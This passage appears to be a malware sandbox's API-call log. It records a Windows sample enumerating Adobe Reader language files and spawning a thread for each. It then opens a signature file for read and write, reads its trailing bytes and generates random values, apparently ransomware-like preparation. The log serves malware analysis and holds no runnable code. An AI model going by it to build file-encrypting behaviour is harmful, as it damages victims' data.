dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x243c [0151.179] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.KOR", cAlternateFileName="")) returned 1 [0151.179] wcscmp (_String1="nppdf32.KOR", _String2=".") returned 1 [0151.179] wcscmp (_String1="nppdf32.KOR", _String2="..") returned 1 [0151.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b783f80 [0151.179] wcscpy (in: _Dest=0x1b783f80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.179] wcscat (in: _Dest=0x1b783f80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.179] wcscat (in: _Dest=0x1b783f80, _Source="nppdf32.KOR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.KOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.KOR" [0151.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b783f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2440 [0151.181] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.NLD", cAlternateFileName="")) returned 1 [0151.181] wcscmp (_String1="nppdf32.NLD", _String2=".") returned 1 [0151.181] wcscmp (_String1="nppdf32.NLD", _String2="..") returned 1 [0151.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784640 [0151.181] wcscpy (in: _Dest=0x1b784640, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.181] wcscat (in: _Dest=0x1b784640, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.181] wcscat (in: _Dest=0x1b784640, _Source="nppdf32.NLD" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NLD") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NLD" [0151.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2444 [0151.182] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.NOR", cAlternateFileName="")) returned 1 [0151.182] wcscmp (_String1="nppdf32.NOR", _String2=".") returned 1 [0151.182] wcscmp (_String1="nppdf32.NOR", _String2="..") returned 1 [0151.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b940 [0151.183] wcscpy (in: _Dest=0x1b86b940, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.183] wcscat (in: _Dest=0x1b86b940, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.183] wcscat (in: _Dest=0x1b86b940, _Source="nppdf32.NOR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NOR" [0151.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2448 [0151.184] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.POL", cAlternateFileName="")) returned 1 [0151.184] wcscmp (_String1="nppdf32.POL", _String2=".") returned 1 [0151.184] wcscmp (_String1="nppdf32.POL", _String2="..") returned 1 [0151.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b280 [0151.184] wcscpy (in: _Dest=0x1b86b280, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.184] wcscat (in: _Dest=0x1b86b280, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.185] wcscat (in: _Dest=0x1b86b280, _Source="nppdf32.POL" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.POL" [0151.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x244c [0151.186] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.PTB", cAlternateFileName="")) returned 1 [0151.186] wcscmp (_String1="nppdf32.PTB", _String2=".") returned 1 [0151.186] wcscmp (_String1="nppdf32.PTB", _String2="..") returned 1 [0151.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86bd30 [0151.186] wcscpy (in: _Dest=0x1b86bd30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.186] wcscat (in: _Dest=0x1b86bd30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.186] wcscat (in: _Dest=0x1b86bd30, _Source="nppdf32.PTB" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.PTB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.PTB" [0151.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bd30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2450 [0151.187] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.RUM", cAlternateFileName="")) returned 1 [0151.188] wcscmp (_String1="nppdf32.RUM", _String2=".") returned 1 [0151.188] wcscmp (_String1="nppdf32.RUM", _String2="..") returned 1 [0151.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86c000 [0151.188] wcscpy (in: _Dest=0x1b86c000, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.188] wcscat (in: _Dest=0x1b86c000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.188] wcscat (in: _Dest=0x1b86c000, _Source="nppdf32.RUM" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUM" [0151.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86c000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2454 [0151.189] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.RUS", cAlternateFileName="")) returned 1 [0151.189] wcscmp (_String1="nppdf32.RUS", _String2=".") returned 1 [0151.190] wcscmp (_String1="nppdf32.RUS", _String2="..") returned 1 [0151.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86ae90 [0151.190] wcscpy (in: _Dest=0x1b86ae90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.190] wcscat (in: _Dest=0x1b86ae90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.190] wcscat (in: _Dest=0x1b86ae90, _Source="nppdf32.RUS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUS" [0151.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ae90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2458 [0151.191] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SKY", cAlternateFileName="")) returned 1 [0151.191] wcscmp (_String1="nppdf32.SKY", _String2=".") returned 1 [0151.191] wcscmp (_String1="nppdf32.SKY", _String2="..") returned 1 [0151.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86bee0 [0151.191] wcscpy (in: _Dest=0x1b86bee0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.191] wcscat (in: _Dest=0x1b86bee0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.191] wcscat (in: _Dest=0x1b86bee0, _Source="nppdf32.SKY" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SKY" [0151.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x245c [0151.193] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SLV", cAlternateFileName="")) returned 1 [0151.193] wcscmp (_String1="nppdf32.SLV", _String2=".") returned 1 [0151.193] wcscmp (_String1="nppdf32.SLV", _String2="..") returned 1 [0151.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b550 [0151.193] wcscpy (in: _Dest=0x1b86b550, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.193] wcscat (in: _Dest=0x1b86b550, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.193] wcscat (in: _Dest=0x1b86b550, _Source="nppdf32.SLV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SLV" [0151.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2460 [0151.195] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SUO", cAlternateFileName="")) returned 1 [0151.195] wcscmp (_String1="nppdf32.SUO", _String2=".") returned 1 [0151.195] wcscmp (_String1="nppdf32.SUO", _String2="..") returned 1 [0151.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86bf70 [0151.195] wcscpy (in: _Dest=0x1b86bf70, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.195] wcscat (in: _Dest=0x1b86bf70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.195] wcscat (in: _Dest=0x1b86bf70, _Source="nppdf32.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SUO" [0151.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2464 [0151.196] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SVE", cAlternateFileName="")) returned 1 [0151.196] wcscmp (_String1="nppdf32.SVE", _String2=".") returned 1 [0151.196] wcscmp (_String1="nppdf32.SVE", _String2="..") returned 1 [0151.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b1f0 [0151.197] wcscpy (in: _Dest=0x1b86b1f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.197] wcscat (in: _Dest=0x1b86b1f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.197] wcscat (in: _Dest=0x1b86b1f0, _Source="nppdf32.SVE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SVE" [0151.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2468 [0151.198] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.TUR", cAlternateFileName="")) returned 1 [0151.198] wcscmp (_String1="nppdf32.TUR", _String2=".") returned 1 [0151.198] wcscmp (_String1="nppdf32.TUR", _String2="..") returned 1 [0151.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b700 [0151.198] wcscpy (in: _Dest=0x1b86b700, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.198] wcscat (in: _Dest=0x1b86b700, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.198] wcscat (in: _Dest=0x1b86b700, _Source="nppdf32.TUR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.TUR" [0151.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x246c [0151.199] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.UKR", cAlternateFileName="")) returned 1 [0151.199] wcscmp (_String1="nppdf32.UKR", _String2=".") returned 1 [0151.199] wcscmp (_String1="nppdf32.UKR", _String2="..") returned 1 [0151.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b3a0 [0151.199] wcscpy (in: _Dest=0x1b86b3a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.199] wcscat (in: _Dest=0x1b86b3a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.199] wcscat (in: _Dest=0x1b86b3a0, _Source="nppdf32.UKR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.UKR" [0151.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2470 [0151.200] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.UKR", cAlternateFileName="")) returned 0 [0151.200] FindClose (in: hFindFile=0x1cd9c4f0 | out: hFindFile=0x1cd9c4f0) returned 1 [0151.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd622d0) returned 1 [0151.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420609b0) returned 1 [0151.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 Thread: id = 2046 os_tid = 0x12f4 [0137.864] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cryptocme2.sig")) returned 0x20 [0137.865] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig", dwFileAttributes=0x20) returned 1 [0137.866] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cryptocme2.sig"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e34 [0137.866] GetFileSizeEx (in: hFile=0x1e34, lpFileSize=0x3420fa80 | out: lpFileSize=0x3420fa80*=1607) returned 1 [0137.866] SetFilePointerEx (in: hFile=0x1e34, liDistanceToMove=0x643, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.866] ReadFile (in: hFile=0x1e34, lpBuffer=0x3420fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3420fa48, lpOverlapped=0x0 | out: lpBuffer=0x3420fa00*, lpNumberOfBytesRead=0x3420fa48*=0x4, lpOverlapped=0x0) returned 1 [0137.870] SetFilePointerEx (in: hFile=0x1e34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b90 [0137.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609b0 [0137.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0137.871] NtQuerySystemTime (in: CurrentTime=0x3420f940 | out: CurrentTime=0x3420f940*=132462177431062000) returned 0x0 [0137.871] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0xa7dd09f [0137.871] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x1c93864c [0137.871] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x63756057 [0137.871] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x72f88d3b [0137.871] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x693b3aad [0137.871] RtlRandomEx (in: 